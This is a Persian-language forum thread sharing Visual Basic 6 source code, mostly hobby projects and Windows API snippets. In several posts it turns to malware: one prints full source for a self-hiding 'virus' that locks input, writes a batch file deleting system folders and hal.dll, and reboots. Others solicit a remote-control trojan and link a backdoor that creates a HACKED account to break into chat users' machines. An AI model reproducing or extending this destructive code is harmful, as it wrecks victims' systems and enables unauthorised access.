SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

>>>تاپیک جامع سورس کد های VB 6 <<<

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • >>>تاپیک جامع سورس کد های VB 6 <<<

    با سلام خدمت دوستان

    از این به بعد سورس کدهایتان در رابطه با Vb 6 را در اینجا بگذارید///...

    در این تاپیک به هیچ عنوان اسپم ندید///...



    این سورس رو امروز براتون گذاشتم که سورس یک ماشین حساب تقریبا نیمه مهندسی که خودتون میتونید تکمیلش کنید

    توضیحات مربوطه در داخل برنامه در قسمت Help داده شده

    [php]http://wdl.persiangig.com/pages/download/?dl=http://asdaliqwe.persiangig.com/Calculator.rar[/php]
    [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

    [align=center]بدلیل امتحانات کم رنگیم ! [/align]

  • #2
    RE: >>>تاپیک جامع سورس کد های VB 6 <<<

    با سلام خدمت دوستان

    این برنامه هم یک Text Editor بسیار ساده در جهت آموزش هایی که قرار است گذاشته شود میباشد

    و فقط برای تمرین تازه کارهاست ...!

    http://wdl.persiangig.com/pages/download/?dl=http://asdaliqwe.persiangig.com/TextEditor.rar
    [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

    [align=center]بدلیل امتحانات کم رنگیم ! [/align]

    نظر


    • #3
      تابع API ساعت سیستم و پیام بیپ و Wav پلیر

      با سلام

      تابع اولیه ساعت خام سیستم را نشان میدهد

      [php]Private Declare Function GetTickCount Lib "kernel32" () As Long

      Private Sub Command1_Click()
      Dim a As Long
      a = GetTickCount()
      Label1.Caption = a
      End Sub[/php]


      و از تابع دوم میتوان برای تست بلند گوی سیستم استفاده کرد(در صورت خاموش بودن اسپیکر صدا باید از بلند گو شنیده شود)

      [php]Private Declare Function MessageBeep Lib "user32" (ByVal wType As Long) As Long


      Private Sub Command1_Click()
      Dim a As Variant
      a = MessageBeep(30)
      End Sub[/php]


      تابع sndPlaySound

      از این تابع هم برای پخش صدا با فرمت Wav استفاده میشود

      [php]Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long

      Private Sub Command1_Click()
      Dim a As Long
      a = sndPlaySound(("File-Name"), 1)
      End Sub[/php]

      به جای File-Name مسیر فایلتان را بنویسید..
      [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

      [align=center]بدلیل امتحانات کم رنگیم ! [/align]

      نظر


      • #4
        RE: >>>تاپیک جامع سورس کد های VB 6 <<<

        با سلام خدمت دوستان این هم تابع API قفل ماوس و صفحه کلید


        [php]Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long


        Private Sub Command1_Click()
        BlockInput True
        End Sub[/php]
        [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

        [align=center]بدلیل امتحانات کم رنگیم ! [/align]

        نظر


        • #5
          RE: >>>تاپیک جامع سورس کد های VB 6 <<<

          یا حق
          یه کد گفتم مثل اینکه کسی نتونست بنویسه
          "*.*\*.*\kill "c:\users\desktop
          این کل شرت کات های روی دستاپو حذف میکنه
          یکی خطایابیش کنه من وی بیم خرابه
          ممنون !
          [hr]
          کسی میتونه با ویژوال بیسیک تروجان بسازه ؟ با قابلیت های زیر
          1_بیرون آوردن سی رام
          2_بستن سی دی رام
          3_قفل کیبرد و صفحه کلید
          4_ارسال آی پی قربانی
          5_ارسال پیغام برای قربانی
          بصورت ریموت هم عمل کنه !
          خیلیا دنبال این هستن ، اگه کسی تونست بنویسه که عالی اگه هم نتونستین بگین خودم وقت کردم می نویسم !
          راهنمایی
          1_برای ارتباط از راه دور در وِیژوال بیسیک از کنترل winsouk استفاده میشه !
          2_برای چاپ لوکال آی پی از دستور زیر بعد از اضافه کردن وینسا به فرم استفاده میشه
          print winsouk1.localip
          3_بهتره دستوراتی که حجم بیشتر دارند مثل قفل کیبرد و موس داخل سرور قرار بگیرند !
          4_تروجان از دو قسمت کلاینت و سرور ساخته شده
          بجای نوشتن سورس هایی مثل ماشین حساب که همش توی پی دی اف ها و اینترنت وجود داره وقتتونو لطفا روی این بزارین !
          وقتی باران می بارد همه ی پرندگان دنبال جان پناه هستند ...
          اما عقاب برای اینکه از باران در امان بمانـــد بالاتر از ابر ها پرواز می کنــــد ...

          نظر


          • #6
            RE: >>>تاپیک جامع سورس کد های VB 6 <<<

            دوست عزیز اینفدر کرکری نخونید ..و این پاسخ هم اسپم محسوب میشه..! چون در این تاپیک فقط سورس کد قرار میگیره

            نه چیزه دیگه...///// با تشکر از شما.....اگر شما حرفه ای هستید بفرمایید ماهم ازشما حمایت خواهیم !!

            و درباره اون پی دی اف ها مثل اینکه اولشو نخوندین اونا همش مربوط میشه به تاپیک آموزش جامع ویژوال بیسیک برای تازه کارها

            لطفا درباره حرف هایی که میزنید کمی فکر کرده و بعد منتشر کنید ////....
            [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

            [align=center]بدلیل امتحانات کم رنگیم ! [/align]

            نظر


            • #7
              ویروس ساده ........ولی خطرناک با VB 6

              با سلام خدمت دوستان گرامی

              در این قسمت یک ویروس با وی بی 6 میگذارم که در عین سادگی کارهای زیادی انجام میدهد و ویندوز را به هوا میفرستد....!

              قابلیت ها:

              این ویروس یک تایمر دارد که در عرض 100000 میلی ثانیه تمامی کارهای خود را انجام میدهد و فایل hal.dll و بخش های دیگر

              ویندوز را از بین میبرد در کل برای خرابکاریه..!! و همچنین به صورت مخفی میباشد و با نام HAS.exe در system32

              سیو میشود و نیز از دسترس taskmng هم دور است(مخفی)

              دوستان اگر شما میتوانید قابلیت های بیشتری به ویروس اضافه نماید ممنون میشوم این کار را بکنید و ویروس خطرناک بسازید و در

              همین قسمت قرار دهید..


              [align=LEFT]
              Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
              Private Declare Function BlockInput Lib "user32" (ByVal fblock As Long) As Long
              Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

              Private Sub Form_Load()
              Me.Hide
              DoEvents
              BlockInput True
              Sleep 100000
              BlockInput False

              Dim a As Integer
              Dim s As String
              a = FreeFile
              Open "C:\Windows\system32\HAS.exe" For Output As #a
              s = "del C:\WINDOWS\system" + vbCrLf + "del C:\Windows\system32" + vbCrLf + "del C:\WINDOWS\system32\hal.dll" + vbCrLf + "del windows" + vbCrLf + "shutdown -r"
              Print #a, s
              Close #a

              Dim q As String
              Dim w As String
              Dim e As String
              q = "C:\Windows\system32\HAS.exe"
              w = vbNullString
              e = "C:\Windows\system32"
              ShellExecute hwnd, "open", q, w, e, 1
              End Sub


              [align=RIGHT]اینم لینک دانلود کامل سورس


              [php]http://www.4shared.com/file/L6ucPRYG/zxc.html[/php][/align][/align]
              [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

              [align=center]بدلیل امتحانات کم رنگیم ! [/align]

              نظر


              • #8
                سورس کد مرورگر کامل(درحد جستجو) برای تمرین

                اینم یک مرورگر کامل(در حد جستجو) برای جستجو در اینترنت با VB 6.0 اینم بگم اینو بصورت آموزشی برای جناب fixxer

                گذاشتم.....



                [php]http://www.4shared.com/rar/cW1iZu9Y/Browser.html[/php]
                [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

                [align=center]بدلیل امتحانات کم رنگیم ! [/align]

                نظر


                • #9
                  RE: >>>تاپیک جامع سورس کد های VB 6 <<<

                  با سلام :16:

                  پس از مرگ یکی از بهترین دوستانم دوباره اومدم :12:

                  ولش کن :8:

                  خوب امروز یک سورس کد براتون میزارم که با اون میتونید بر روی سیستم هدف که

                  فقط داری Windows Xp هست یک بکدور باز کرده و نام کاربری با نام HACKED و

                  پسوورد 123456789 بر روی سیستم هدف باز خواهد شده که با این روش به راحتی

                  قادر به هک کلاینت در چت روم ها خواهید بود !


                  http://wdl.persiangig.com/pages/download/?dl=http://asdaliqwe.persiangig.com/ViR3s.rar
                  [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

                  [align=center]بدلیل امتحانات کم رنگیم ! [/align]

                  نظر


                  • #10
                    RE: >>>تاپیک جامع سورس کد های VB 6 <<<

                    با درود :67:

                    یه بازی براتون آماده کردم که شلیک بازی ولی به کانتر نمی رسه !

                    و یک قسمت هاییشم نا تمومه تا کاملش کنید

                    a1b2a3j4m5.persiangig.com/game.rar
                    [align=center]همه انسان ها یک چیز را میبینند ولی این نوع دید است که انسان های متفاوت را میسازد[/align]

                    [align=center]بدلیل امتحانات کم رنگیم ! [/align]

                    نظر

                    صبر کنید ..
                    X